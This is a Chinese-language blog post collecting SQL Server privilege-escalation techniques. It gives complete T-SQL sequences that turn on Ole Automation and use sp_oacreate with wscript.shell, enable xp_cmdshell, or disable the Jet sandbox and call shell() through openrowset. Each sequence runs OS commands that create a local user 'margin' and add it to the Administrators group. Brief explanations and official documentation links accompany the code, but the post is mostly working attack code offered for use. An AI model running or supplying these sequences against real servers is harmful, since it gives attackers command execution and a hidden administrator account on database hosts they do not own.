天天看點

SQL Server提權方法彙總(MSSQL)

使用sp_oacreate進行提權

--提權語句--sp_configure的作用是顯示或更改目前伺服器的全局配置設定,執行成功傳回0,失敗傳回1

EXEC sp_configure 'show advanced options', 1;

--使前面的配置生效RECONFIGURE;

EXEC sp_configure 'Ole Automation Procedures', 1;

RECONFIGURE;

declare @shell int

--使用sp_oacreate調用wscript.shell元件,将傳回的對象存儲到@shell變量中。

exec sp_oacreate 'wscript.shell',@shell output

--使用sp_oamethod 調用@shell對象中的Run方法,執行添加使用者的指令,null是run方法的傳回值,我們不需要用傳回值,是以寫null.

exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user margin margin /add'

--使用sp_oamethod 調用@shell對象中的Run方法,執行添加使用者的指令

exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators margin /add'

--恢複語句EXEC

sp_configure 'Ole Automation Procedures', 0;

EXEC sp_configure 'show advanced options', 0;

以上是使用sp_oacreate的提權語句,主要是用來調用OLE對象(Object Linking and Embedding的縮寫,VB中的OLE對象),利用OLE對象的run方法執行系統指令。在oacreate的官方文檔裡明确指出了,如果要使用OLE對象,必須要開啟 'Ole Automation Procedures',也就是EXEC sp_configure 'Ole Automation Procedures', 1;執行這條語句前要執行EXEC sp_configure 'show advanced options', 1; 官方對這句話的解釋是:show advanced options,“顯示進階選項”選項用來顯示 sp_configure 系統存儲過程進階選項。 當“顯示進階選項” 設定為 1 時,可以使用 sp_configure 列出進階選項。 預設值為 0。

使用xp_cmdshell進行提權

--提權語句

exec sp_configure 'show advanced options', 1;reconfigure;

exec sp_configure 'xp_cmdshell',1;reconfigure; --開啟CMDshell

-- master..xp_cmdshell的全寫是master.dbo.xp_cmdshell

exec master..xp_cmdshell 'net user margin margin /add';

exec master..xp_cmdshell 'net localgroup administrators margin /add';

sp_configure 'show advanced options', 0;

使用沙盒進行提權

exec sp_configure 'show advanced options',1;reconfigure;

-- 不開啟的話在執行xp_regwrite會提示讓我們開啟,

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;

--關閉沙盒模式,如果一次執行全部代碼有問題,先執行上面兩句代碼。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

--查詢是否正常關閉,經過測試發現沙盒模式無論是開,還是關,都不會影響我們執行下面的語句。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

--執行系統指令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

沙盒模式SandBoxMode參數含義(預設是2)

`0`:在任何所有者中禁止啟用安全模式

`1` :為僅在允許範圍内

`2` :必須在access模式下

`3`:完全開啟

openrowset是可以通過OLE DB通路SQL Server資料庫,OLE DB是應用程式連結到SQL Server的的驅動程式。

--恢複配置

--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;

--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;

--exec sp_configure 'show advanced options',0;reconfigure;

SQL Server官方參考文檔

sp_configure的官方文檔:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-configure-transact-sql?view=sql-server-2017

sp_oacreate的官方文檔:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-oacreate-transact-sql?view=sql-server-2017

sp_oamethod的官方文檔:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-oamethod-transact-sql?view=sql-server-2017

openrowset的官方文檔:https://docs.microsoft.com/zh-cn/sql/t-sql/functions/openrowset-transact-sql?view=sql-server-2017

ole db的官方文檔:https://docs.microsoft.com/zh-cn/sql/connect/oledb/ole-db/oledb-driver-for-sql-server-programming?view=sql-server-2017

繼續閱讀